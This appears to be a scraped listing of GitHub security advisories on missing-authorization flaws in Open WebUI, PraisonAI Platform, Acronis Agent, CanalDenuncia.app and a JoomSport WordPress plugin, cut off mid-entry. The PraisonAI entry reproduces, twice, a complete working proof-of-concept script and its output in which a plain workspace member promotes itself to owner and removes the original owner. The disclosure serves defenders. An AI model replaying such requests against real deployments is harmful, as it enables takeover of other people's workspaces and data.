  "published": "2026-05-08T20:03:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-h36f-rqpx-j5wx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44560"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI has Unauthorized File and Knowledge Base Content Access via RAG Vector Search"
}

GHSA-H37G-4H4P-9X97

Vulnerability from github – Published: 2026-05-29 22:42 – Updated: 2026-05-29 22:42
VLAI
Summary
PraisonAI Platform: Missing role checks let any workspace member become owner and control workspace membership
Details

Summary

PraisonAI Platform has a broken workspace authorization check that allows any authenticated low-privilege workspace member to escalate their own role to owner.

The issue is caused by privileged workspace-management routes using the shared dependency require_workspace_member(...) without requiring admin or owner. The dependency defaults to min_role="member", so routes that should be administrative are accessible to ordinary workspace members.

As a result, a normal workspace member can:

  • promote their own account from member to owner;
  • add arbitrary users as owner or admin;
  • change other members' roles;
  • remove legitimate owners or members;
  • take over workspace membership completely;
  • perform destructive workspace operations after escalation.

This is a broken access control / vertical privilege escalation vulnerability.

Details

The vulnerable authorization dependency is defined in:

praisonai_platform/api/deps.py
````

The dependency defaults to the lowest workspace role:

```python
async def require_workspace_member(
    workspace_id: str,
    user: AuthIdentity = Depends(get_current_user),
    session: AsyncSession = Depends(get_db),
    min_role: str = "member",
) -> AuthIdentity:
    ...
    has = await member_svc.has_role(workspace_id, user.id, min_role)

Because min_role defaults to "member", any route using:

Depends(require_workspace_member)

without explicitly passing a stronger role only requires ordinary workspace membership.

Privileged workspace-management routes in:

praisonai_platform/api/routes/workspaces.py

use this dependency unchanged on administrative actions, including:

PATCH  /workspaces/{workspace_id}
DELETE /workspaces/{workspace_id}
POST   /workspaces/{workspace_id}/members
PATCH  /workspaces/{workspace_id}/members/{user_id}
DELETE /workspaces/{workspace_id}/members/{user_id}

These routes allow workspace modification, deletion, member addition, role changes, and member removal. They should require admin or owner, but they currently require only member.

The membership service does not provide a second authorization layer. In:

praisonai_platform/services/member_service.py

the mutation methods perform the requested change after the route-level check passes:

async def add(...):
    member = Member(workspace_id=workspace_id, user_id=user_id, role=role)

async def update_role(...):
    member = await self.get(workspace_id, user_id)
    member.role = new_role

async def remove(...):
    member = await self.get(workspace_id, user_id)
    await self._session.delete(member)

Therefore, the weak route dependency is the effective authorization boundary.

A low-privilege user can also learn their own user.id from the normal authentication response. The login/register response includes the authenticated user object:

TokenResponse.token
TokenResponse.user.id

This allows an invited low-privilege member to target their own membership record and self-promote.

Affected component

Package: praisonai-platform
Verified version: 0.1.2
Verified source commit: d8a8a78
Affected components:
- praisonai_platform/api/deps.py
- praisonai_platform/api/routes/workspaces.py
- praisonai_platform/services/member_service.py
- praisonai_platform/api/routes/auth.py
- praisonai_platform/api/schemas.py

PoC

The following PoC is self-contained and exercises the real PraisonAI Platform FastAPI application path. It does not mock the vulnerable RBAC logic.

The PoC:

  1. Creates the real FastAPI app with praisonai_platform.api.app.create_app().
  2. Registers three users through the real /api/v1/auth/register route.
  3. Creates a workspace as the original owner.
  4. Adds the second user as a normal member.
  5. Logs in as that low-privilege member.
  6. Uses the low-privilege member token to self-promote to owner.
  7. Uses the same token to add a third account as owner.
  8. Uses the same token to remove the original owner.
  9. Confirms the workspace membership has been taken over.

Full PoC code

#!/usr/bin/env python3
"""Self-contained local replay for PraisonAI Platform workspace RBAC bypass."""

from __future__ import annotations

import asyncio
import os
import sys
import types
import uuid
from pathlib import Path

from httpx import ASGITransport, AsyncClient
from sqlalchemy.ext.asyncio import create_async_engine


REPO_ROOT = Path(__file__).resolve().parents[3] / "repos" / "praisonai"
PLATFORM_ROOT = REPO_ROOT / "src" / "praisonai-platform"
AGENTS_ROOT = REPO_ROOT / "src" / "praisonai-agents"


def verify_source() -> None:
    expected = {
        PLATFORM_ROOT / "praisonai_platform/api/deps.py": [
            'min_role: str = "member"',
            "member_svc.has_role(workspace_id, user.id, min_role)",
        ],
        PLATFORM_ROOT / "praisonai_platform/api/routes/workspaces.py": [
            '@router.patch("/{workspace_id}", response_model=WorkspaceResponse)',
            '@router.delete("/{workspace_id}", status_code=status.HTTP_204_NO_CONTENT)',
            '@router.post("/{workspace_id}/members", response_model=MemberResponse, status_code=status.HTTP_201_CREATED)',
            '@router.patch("/{workspace_id}/members/{user_id}", response_model=MemberResponse)',
        ],
        PLATFORM_ROOT / "praisonai_platform/services/member_service.py": [
            "member.role = new_role",
            "await self._session.delete(member)",
        ],
    }

    for path, needles in expected.items():
        text = path.read_text(encoding="utf-8")
        for needle in needles:
            if needle not in text:
                raise RuntimeError(f"source verification failed: {needle!r} not found in {path}")


async def main() -> int:
    if not PLATFORM_ROOT.exists() or not AGENTS_ROOT.exists():
        raise SystemExit("missing local PraisonAI source tree")

    verify_source()

    sys.path.insert(0, str(PLATFORM_ROOT))
    sys.path.insert(0, str(AGENTS_ROOT))

    # Minimal passlib stub for local replay environments where passlib is not installed.
    # This keeps the PoC focused on the authorization bug rather than dependency setup.
    if "passlib" not in sys.modules:
        passlib_pkg = types.ModuleType("passlib")
        passlib_pkg.__path__ = []
        sys.modules["passlib"] = passlib_pkg

    if "passlib.context" not in sys.modules:
        passlib_context = types.ModuleType("passlib.context")

        class _CryptContext:
            def __init__(self, *args, **kwargs):
                pass

            def hash(self, password: str) -> str:
                return f"stub::{password}"

            def verify(self, password: str, hashed: str) -> bool:
                return hashed == f"stub::{password}"

        passlib_context.CryptContext = _CryptContext
        sys.modules["passlib.context"] = passlib_context

    # Keep JWT generation deterministic for the local replay.
    os.environ["PLATFORM_JWT_SECRET"] = "test-secret-for-testing-only"

    from praisonai_platform.api.app import create_app
    from praisonai_platform.db.base import Base, reset_engine
    from praisonai_platform.db import base as base_mod

    await reset_engine()

    engine = create_async_engine(
        "sqlite+aiosqlite:///:memory:",
        echo=False,
        connect_args={"check_same_thread": False},
    )

    base_mod._engine = engine
    base_mod._session_factory = None

    async with engine.begin() as conn:
        await conn.run_sync(Base.metadata.create_all)

    app = create_app()
    suffix = uuid.uuid4().hex[:8]
    password = "Password123!"

    transport = ASGITransport(app=app)

    async with AsyncClient(transport=transport, base_url="http://test") as client:
        # 1. Register an owner account.
        owner = await client.post(
            "/api/v1/auth/register",
            json={
                "email": f"owner_{suffix}@example.com",
                "password": password,
                "name": f"owner_{suffix}",
            },
        )

        # 2. Register a low-privilege member account.
        member = await client.post(
            "/api/v1/auth/register",
            json={
                "email": f"member_{suffix}@example.com",
                "password": password,
                "name": f"member_{suffix}",
            },
        )

        # 3. Register a third attacker-controlled account.
        extra = await client.post(
            "/api/v1/auth/register",
            json={
                "email": f"extra_{suffix}@example.com",
                "password": password,
                "name": f"extra_{suffix}",
            },
        )

        owner_json = owner.json()
        member_json = member.json()
        extra_json = extra.json()

        owner_headers = {"Authorization": f"Bearer {owner_json['token']}"}
        member_headers = {"Authorization": f"Bearer {member_json['token']}"}

        # 4. Create a workspace as the owner.
        workspace = await client.post(
            "/api/v1/workspaces/",
            json={
                "name": f"ws-{suffix}",
                "slug": f"ws-{suffix}",
                "description": "rbac bypass poc",
            },
            headers=owner_headers,
        )

        workspace_id = workspace.json()["id"]

        # 5. Owner adds the second user as a normal low-privilege member.
        added_member = await client.post(
            f"/api/v1/workspaces/{workspace_id}/members",
            json={
                "user_id": member_json["user"]["id"],
                "role": "member",
            },
            headers=owner_headers,
        )

        # 6. Low-privilege member self-promotes to owner.
        promoted = await client.patch(
            f"/api/v1/workspaces/{workspace_id}/members/{member_json['user']['id']}",
            json={
                "role": "owner",
            },
            headers=member_headers,
        )

        # 7. The same formerly-low-privilege member adds a third account as owner.
        added_owner = await client.post(
            f"/api/v1/workspaces/{workspace_id}/members",
            json={
                "user_id": extra_json["user"]["id"],
                "role": "owner",
            },
            headers=member_headers,
        )

        # 8. The same account removes the original owner.
        removed_original_owner = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/members/{owner_json['user']['id']}",
            headers=member_headers,
        )

        # 9. Confirm remaining membership state.
        remaining_members = await client.get(
            f"/api/v1/workspaces/{workspace_id}/members",
            headers=member_headers,
        )

        remaining_roles = [m["role"] for m in remaining_members.json()]

        print(f"[poc] owner_status={owner.status_code}")
        print(f"[poc] member_status={member.status_code}")
        print(f"[poc] extra_status={extra.status_code}")
        print(f"[poc] workspace_status={workspace.status_code}")
        print(f"[poc] add_status={added_member.status_code} role={added_member.json()['role']}")
        print(f"[poc] promote_status={promoted.status_code} role={promoted.json()['role']}")
        print(f"[poc] add_owner_status={added_owner.status_code} role={added_owner.json()['role']}")
        print(f"[poc] remove_original_owner_status={removed_original_owner.status_code}")
        print(f"[poc] remaining_roles={remaining_roles}")

        if promoted.status_code != 200 or promoted.json()["role"] != "owner":
            raise SystemExit("[poc] MISS: low-privilege member did not become owner")

        if added_owner.status_code != 201 or added_owner.json()["role"] != "owner":
            raise SystemExit("[poc] MISS: promoted attacker could not add a new owner")

        if removed_original_owner.status_code != 204:
            raise SystemExit("[poc] MISS: promoted attacker could not remove the original owner")

        if remaining_roles.count("owner") < 2:
            raise SystemExit("[poc] MISS: expected attacker-controlled owners after takeover")

        print("[poc] HIT: low-privilege member became owner and took over workspace membership")

    await engine.dispose()
    base_mod._engine = None
    base_mod._session_factory = None

    return 0


if __name__ == "__main__":
    raise SystemExit(asyncio.run(main()))

Observed output

[poc] owner_status=201
[poc] member_status=201
[poc] extra_status=201
[poc] workspace_status=201
[poc] add_status=201 role=member
[poc] promote_status=200 role=owner
[poc] add_owner_status=201 role=owner
[poc] remove_original_owner_status=204
[poc] remaining_roles=['owner', 'owner']
[poc] HIT: low-privilege member became owner and took over workspace membership

Expected secure behavior

The following request should be rejected when made by a plain member:

PATCH /api/v1/workspaces/{workspace_id}/members/{member_user_id}
Authorization: Bearer <member_token>
Content-Type: application/json

{
  "role": "owner"
}

Expected response:

403 Forbidden

Actual vulnerable behavior

The request succeeds:

HTTP 200
role = owner

The same account can then add attacker-controlled owners and remove the original owner.

Impact

A low-privilege workspace member can fully take over a workspace.

Impact includes:

  • self-promoting from member to owner or admin;
  • granting owner or admin to attacker-controlled accounts;
  • changing other members' roles;
  • removing legitimate owners or members;
  • modifying workspace metadata and settings;
  • deleting the workspace;
  • taking over workspace-scoped issues, projects, labels, agents, and other resources after role escalation.

The attacker only needs an authenticated low-privilege membership in the target workspace. No race condition, special deployment, or administrator action is required.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai-platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47405"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T22:42:07Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nPraisonAI Platform has a broken workspace authorization check that allows any authenticated low-privilege workspace member to escalate their own role to `owner`.\n\nThe issue is caused by privileged workspace-management routes using the shared dependency `require_workspace_member(...)` without requiring `admin` or `owner`. The dependency defaults to `min_role=\"member\"`, so routes that should be administrative are accessible to ordinary workspace members.\n\nAs a result, a normal workspace member can:\n\n- promote their own account from `member` to `owner`;\n- add arbitrary users as `owner` or `admin`;\n- change other members\u0027 roles;\n- remove legitimate owners or members;\n- take over workspace membership completely;\n- perform destructive workspace operations after escalation.\n\nThis is a broken access control / vertical privilege escalation vulnerability.\n\n### Details\n\nThe vulnerable authorization dependency is defined in:\n\n```text\npraisonai_platform/api/deps.py\n````\n\nThe dependency defaults to the lowest workspace role:\n\n```python\nasync def require_workspace_member(\n    workspace_id: str,\n    user: AuthIdentity = Depends(get_current_user),\n    session: AsyncSession = Depends(get_db),\n    min_role: str = \"member\",\n) -\u003e AuthIdentity:\n    ...\n    has = await member_svc.has_role(workspace_id, user.id, min_role)\n```\n\nBecause `min_role` defaults to `\"member\"`, any route using:\n\n```python\nDepends(require_workspace_member)\n```\n\nwithout explicitly passing a stronger role only requires ordinary workspace membership.\n\nPrivileged workspace-management routes in:\n\n```text\npraisonai_platform/api/routes/workspaces.py\n```\n\nuse this dependency unchanged on administrative actions, including:\n\n```text\nPATCH  /workspaces/{workspace_id}\nDELETE /workspaces/{workspace_id}\nPOST   /workspaces/{workspace_id}/members\nPATCH  /workspaces/{workspace_id}/members/{user_id}\nDELETE /workspaces/{workspace_id}/members/{user_id}\n```\n\nThese routes allow workspace modification, deletion, member addition, role changes, and member removal. They should require `admin` or `owner`, but they currently require only `member`.\n\nThe membership service does not provide a second authorization layer. In:\n\n```text\npraisonai_platform/services/member_service.py\n```\n\nthe mutation methods perform the requested change after the route-level check passes:\n\n```python\nasync def add(...):\n    member = Member(workspace_id=workspace_id, user_id=user_id, role=role)\n\nasync def update_role(...):\n    member = await self.get(workspace_id, user_id)\n    member.role = new_role\n\nasync def remove(...):\n    member = await self.get(workspace_id, user_id)\n    await self._session.delete(member)\n```\n\nTherefore, the weak route dependency is the effective authorization boundary.\n\nA low-privilege user can also learn their own `user.id` from the normal authentication response. The login/register response includes the authenticated user object:\n\n```text\nTokenResponse.token\nTokenResponse.user.id\n```\n\nThis allows an invited low-privilege member to target their own membership record and self-promote.\n\n### Affected component\n\n```text\nPackage: praisonai-platform\nVerified version: 0.1.2\nVerified source commit: d8a8a78\nAffected components:\n- praisonai_platform/api/deps.py\n- praisonai_platform/api/routes/workspaces.py\n- praisonai_platform/services/member_service.py\n- praisonai_platform/api/routes/auth.py\n- praisonai_platform/api/schemas.py\n```\n\n### PoC\n\nThe following PoC is self-contained and exercises the real PraisonAI Platform FastAPI application path. It does not mock the vulnerable RBAC logic.\n\nThe PoC:\n\n1. Creates the real FastAPI app with `praisonai_platform.api.app.create_app()`.\n2. Registers three users through the real `/api/v1/auth/register` route.\n3. Creates a workspace as the original owner.\n4. Adds the second user as a normal `member`.\n5. Logs in as that low-privilege member.\n6. Uses the low-privilege member token to self-promote to `owner`.\n7. Uses the same token to add a third account as `owner`.\n8. Uses the same token to remove the original owner.\n9. Confirms the workspace membership has been taken over.\n\n#### Full PoC code\n\n```python\n#!/usr/bin/env python3\n\"\"\"Self-contained local replay for PraisonAI Platform workspace RBAC bypass.\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport os\nimport sys\nimport types\nimport uuid\nfrom pathlib import Path\n\nfrom httpx import ASGITransport, AsyncClient\nfrom sqlalchemy.ext.asyncio import create_async_engine\n\n\nREPO_ROOT = Path(__file__).resolve().parents[3] / \"repos\" / \"praisonai\"\nPLATFORM_ROOT = REPO_ROOT / \"src\" / \"praisonai-platform\"\nAGENTS_ROOT = REPO_ROOT / \"src\" / \"praisonai-agents\"\n\n\ndef verify_source() -\u003e None:\n    expected = {\n        PLATFORM_ROOT / \"praisonai_platform/api/deps.py\": [\n            \u0027min_role: str = \"member\"\u0027,\n            \"member_svc.has_role(workspace_id, user.id, min_role)\",\n        ],\n        PLATFORM_ROOT / \"praisonai_platform/api/routes/workspaces.py\": [\n            \u0027@router.patch(\"/{workspace_id}\", response_model=WorkspaceResponse)\u0027,\n            \u0027@router.delete(\"/{workspace_id}\", status_code=status.HTTP_204_NO_CONTENT)\u0027,\n            \u0027@router.post(\"/{workspace_id}/members\", response_model=MemberResponse, status_code=status.HTTP_201_CREATED)\u0027,\n            \u0027@router.patch(\"/{workspace_id}/members/{user_id}\", response_model=MemberResponse)\u0027,\n        ],\n        PLATFORM_ROOT / \"praisonai_platform/services/member_service.py\": [\n            \"member.role = new_role\",\n            \"await self._session.delete(member)\",\n        ],\n    }\n\n    for path, needles in expected.items():\n        text = path.read_text(encoding=\"utf-8\")\n        for needle in needles:\n            if needle not in text:\n                raise RuntimeError(f\"source verification failed: {needle!r} not found in {path}\")\n\n\nasync def main() -\u003e int:\n    if not PLATFORM_ROOT.exists() or not AGENTS_ROOT.exists():\n        raise SystemExit(\"missing local PraisonAI source tree\")\n\n    verify_source()\n\n    sys.path.insert(0, str(PLATFORM_ROOT))\n    sys.path.insert(0, str(AGENTS_ROOT))\n\n    # Minimal passlib stub for local replay environments where passlib is not installed.\n    # This keeps the PoC focused on the authorization bug rather than dependency setup.\n    if \"passlib\" not in sys.modules:\n        passlib_pkg = types.ModuleType(\"passlib\")\n        passlib_pkg.__path__ = []\n        sys.modules[\"passlib\"] = passlib_pkg\n\n    if \"passlib.context\" not in sys.modules:\n        passlib_context = types.ModuleType(\"passlib.context\")\n\n        class _CryptContext:\n            def __init__(self, *args, **kwargs):\n                pass\n\n            def hash(self, password: str) -\u003e str:\n                return f\"stub::{password}\"\n\n            def verify(self, password: str, hashed: str) -\u003e bool:\n                return hashed == f\"stub::{password}\"\n\n        passlib_context.CryptContext = _CryptContext\n        sys.modules[\"passlib.context\"] = passlib_context\n\n    # Keep JWT generation deterministic for the local replay.\n    os.environ[\"PLATFORM_JWT_SECRET\"] = \"test-secret-for-testing-only\"\n\n    from praisonai_platform.api.app import create_app\n    from praisonai_platform.db.base import Base, reset_engine\n    from praisonai_platform.db import base as base_mod\n\n    await reset_engine()\n\n    engine = create_async_engine(\n        \"sqlite+aiosqlite:///:memory:\",\n        echo=False,\n        connect_args={\"check_same_thread\": False},\n    )\n\n    base_mod._engine = engine\n    base_mod._session_factory = None\n\n    async with engine.begin() as conn:\n        await conn.run_sync(Base.metadata.create_all)\n\n    app = create_app()\n    suffix = uuid.uuid4().hex[:8]\n    password = \"Password123!\"\n\n    transport = ASGITransport(app=app)\n\n    async with AsyncClient(transport=transport, base_url=\"http://test\") as client:\n        # 1. Register an owner account.\n        owner = await client.post(\n            \"/api/v1/auth/register\",\n            json={\n                \"email\": f\"owner_{suffix}@example.com\",\n                \"password\": password,\n                \"name\": f\"owner_{suffix}\",\n            },\n        )\n\n        # 2. Register a low-privilege member account.\n        member = await client.post(\n            \"/api/v1/auth/register\",\n            json={\n                \"email\": f\"member_{suffix}@example.com\",\n                \"password\": password,\n                \"name\": f\"member_{suffix}\",\n            },\n        )\n\n        # 3. Register a third attacker-controlled account.\n        extra = await client.post(\n            \"/api/v1/auth/register\",\n            json={\n                \"email\": f\"extra_{suffix}@example.com\",\n                \"password\": password,\n                \"name\": f\"extra_{suffix}\",\n            },\n        )\n\n        owner_json = owner.json()\n        member_json = member.json()\n        extra_json = extra.json()\n\n        owner_headers = {\"Authorization\": f\"Bearer {owner_json[\u0027token\u0027]}\"}\n        member_headers = {\"Authorization\": f\"Bearer {member_json[\u0027token\u0027]}\"}\n\n        # 4. Create a workspace as the owner.\n        workspace = await client.post(\n            \"/api/v1/workspaces/\",\n            json={\n                \"name\": f\"ws-{suffix}\",\n                \"slug\": f\"ws-{suffix}\",\n                \"description\": \"rbac bypass poc\",\n            },\n            headers=owner_headers,\n        )\n\n        workspace_id = workspace.json()[\"id\"]\n\n        # 5. Owner adds the second user as a normal low-privilege member.\n        added_member = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/members\",\n            json={\n                \"user_id\": member_json[\"user\"][\"id\"],\n                \"role\": \"member\",\n            },\n            headers=owner_headers,\n        )\n\n        # 6. Low-privilege member self-promotes to owner.\n        promoted = await client.patch(\n            f\"/api/v1/workspaces/{workspace_id}/members/{member_json[\u0027user\u0027][\u0027id\u0027]}\",\n            json={\n                \"role\": \"owner\",\n            },\n            headers=member_headers,\n        )\n\n        # 7. The same formerly-low-privilege member adds a third account as owner.\n        added_owner = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/members\",\n            json={\n                \"user_id\": extra_json[\"user\"][\"id\"],\n                \"role\": \"owner\",\n            },\n            headers=member_headers,\n        )\n\n        # 8. The same account removes the original owner.\n        removed_original_owner = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/members/{owner_json[\u0027user\u0027][\u0027id\u0027]}\",\n            headers=member_headers,\n        )\n\n        # 9. Confirm remaining membership state.\n        remaining_members = await client.get(\n            f\"/api/v1/workspaces/{workspace_id}/members\",\n            headers=member_headers,\n        )\n\n        remaining_roles = [m[\"role\"] for m in remaining_members.json()]\n\n        print(f\"[poc] owner_status={owner.status_code}\")\n        print(f\"[poc] member_status={member.status_code}\")\n        print(f\"[poc] extra_status={extra.status_code}\")\n        print(f\"[poc] workspace_status={workspace.status_code}\")\n        print(f\"[poc] add_status={added_member.status_code} role={added_member.json()[\u0027role\u0027]}\")\n        print(f\"[poc] promote_status={promoted.status_code} role={promoted.json()[\u0027role\u0027]}\")\n        print(f\"[poc] add_owner_status={added_owner.status_code} role={added_owner.json()[\u0027role\u0027]}\")\n        print(f\"[poc] remove_original_owner_status={removed_original_owner.status_code}\")\n        print(f\"[poc] remaining_roles={remaining_roles}\")\n\n        if promoted.status_code != 200 or promoted.json()[\"role\"] != \"owner\":\n            raise SystemExit(\"[poc] MISS: low-privilege member did not become owner\")\n\n        if added_owner.status_code != 201 or added_owner.json()[\"role\"] != \"owner\":\n            raise SystemExit(\"[poc] MISS: promoted attacker could not add a new owner\")\n\n        if removed_original_owner.status_code != 204:\n            raise SystemExit(\"[poc] MISS: promoted attacker could not remove the original owner\")\n\n        if remaining_roles.count(\"owner\") \u003c 2:\n            raise SystemExit(\"[poc] MISS: expected attacker-controlled owners after takeover\")\n\n        print(\"[poc] HIT: low-privilege member became owner and took over workspace membership\")\n\n    await engine.dispose()\n    base_mod._engine = None\n    base_mod._session_factory = None\n\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(asyncio.run(main()))\n```\n\n#### Observed output\n\n```text\n[poc] owner_status=201\n[poc] member_status=201\n[poc] extra_status=201\n[poc] workspace_status=201\n[poc] add_status=201 role=member\n[poc] promote_status=200 role=owner\n[poc] add_owner_status=201 role=owner\n[poc] remove_original_owner_status=204\n[poc] remaining_roles=[\u0027owner\u0027, \u0027owner\u0027]\n[poc] HIT: low-privilege member became owner and took over workspace membership\n```\n\n#### Expected secure behavior\n\nThe following request should be rejected when made by a plain `member`:\n\n```http\nPATCH /api/v1/workspaces/{workspace_id}/members/{member_user_id}\nAuthorization: Bearer \u003cmember_token\u003e\nContent-Type: application/json\n\n{\n  \"role\": \"owner\"\n}\n```\n\nExpected response:\n\n```text\n403 Forbidden\n```\n\n#### Actual vulnerable behavior\n\nThe request succeeds:\n\n```text\nHTTP 200\nrole = owner\n```\n\nThe same account can then add attacker-controlled owners and remove the original owner.\n\n### Impact\n\nA low-privilege workspace member can fully take over a workspace.\n\nImpact includes:\n\n* self-promoting from `member` to `owner` or `admin`;\n* granting `owner` or `admin` to attacker-controlled accounts;\n* changing other members\u0027 roles;\n* removing legitimate owners or members;\n* modifying workspace metadata and settings;\n* deleting the workspace;\n* taking over workspace-scoped issues, projects, labels, agents, and other resources after role escalation.\n\nThe attacker only needs an authenticated low-privilege membership in the target workspace. No race condition, special deployment, or administrator action is required.",
  "id": "GHSA-h37g-4h4p-9x97",
  "modified": "2026-05-29T22:42:07Z",
  "published": "2026-05-29T22:42:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-h37g-4h4p-9x97"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI Platform: Missing role checks let any workspace member become owner and control workspace membership"
}

GHSA-H389-6QWX-9W99

Vulnerability from github – Published: 2023-10-06 12:30 – Updated: 2023-10-06 12:30
VLAI
Details

Sensitive information disclosure and manipulation due to missing authorization. The following products are affected: Acronis Agent (Linux, macOS, Windows) before build 35895.

Severity
7.1 (High)
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-45244"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-06T10:15:18Z",
    "severity": "HIGH"
  },
  "details": "Sensitive information disclosure and manipulation due to missing authorization. The following products are affected: Acronis Agent (Linux, macOS, Windows) before build 35895.",
  "id": "GHSA-h389-6qwx-9w99",
  "modified": "2023-10-06T12:30:19Z",
  "published": "2023-10-06T12:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-45244"
    },
    {
      "type": "WEB",
      "url": "https://security-advisory.acronis.com/advisories/SEC-5907"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H38Q-9WPM-3743

Vulnerability from github – Published: 2025-11-04 15:31 – Updated: 2025-11-05 17:48
VLAI
Details

A lack of authorisation vulnerability has been detected in CanalDenuncia.app. This vulnerability allows an attacker to access other users' information by sending a POST through the parameters 'id_denuncia' and 'id_user' in '/backend/api/buscarTestigoByIdDenunciaUsuario.php'.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-41338"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-04T14:15:35Z",
    "severity": "HIGH"
  },
  "details": "A lack of authorisation vulnerability has been detected in CanalDenuncia.app. This vulnerability allows an attacker to access other users\u0027 information by sending a POST through the\u00a0parameters \u0027id_denuncia\u0027 and \u0027id_user\u0027 in \u0027/backend/api/buscarTestigoByIdDenunciaUsuario.php\u0027.",
  "id": "GHSA-h38q-9wpm-3743",
  "modified": "2025-11-05T17:48:27Z",
  "published": "2025-11-04T15:31:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41338"
    },
    {
      "type": "WEB",
      "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-canaldenunciaapp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-H398-FP2W-9MPG

Vulnerability from github – Published: 2026-07-02 12:30 – Updated: 2026-07-02 12:30
VLAI
Details

The JoomSport – for Sports: Team & League, Football, Hockey & more plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 5.7.8. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to create arbitrary season groups or modify existing group names, participants, and round-type options. Exploitation requires obtaining the joomsportajaxnonce, which is exposed on frontend pages that render a JoomSport shortcode.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-12134"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-02T10:16:27Z",
    "severity": "MODERATE"
  },
  "details": "The JoomSport \u2013 for Sports: Team \u0026 League, Football, Hockey \u0026 more plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 5.7.8. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to create arbitrary season groups or modify existing group names, participants, and round-type options. Exploitation requires obtaining the joomsportajaxnonce, which is exposed on frontend pages that render a JoomSport shortcode.",
  "id": "GHSA-h398-fp2w-9mpg",
  "modified": "2026-07-02T12:30:58Z",
  "published": "2026-07-02T12:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12134"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/joomsport-sports-league-results-management/tags/5.7.8/includes/joomsport-shortcodes.php#L473"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/joomsport-sports-league-results-management/tags/5.7.8/includes/posts/joomsport-post-season.php#L22"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/joomsport-sports-league-results-management/tags/5.7.8/includes/posts/joomsport-post-season.php#L230"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/joomsport-sports-league-results-management/trunk/includes/joomsport-shortcodes.php#L473"
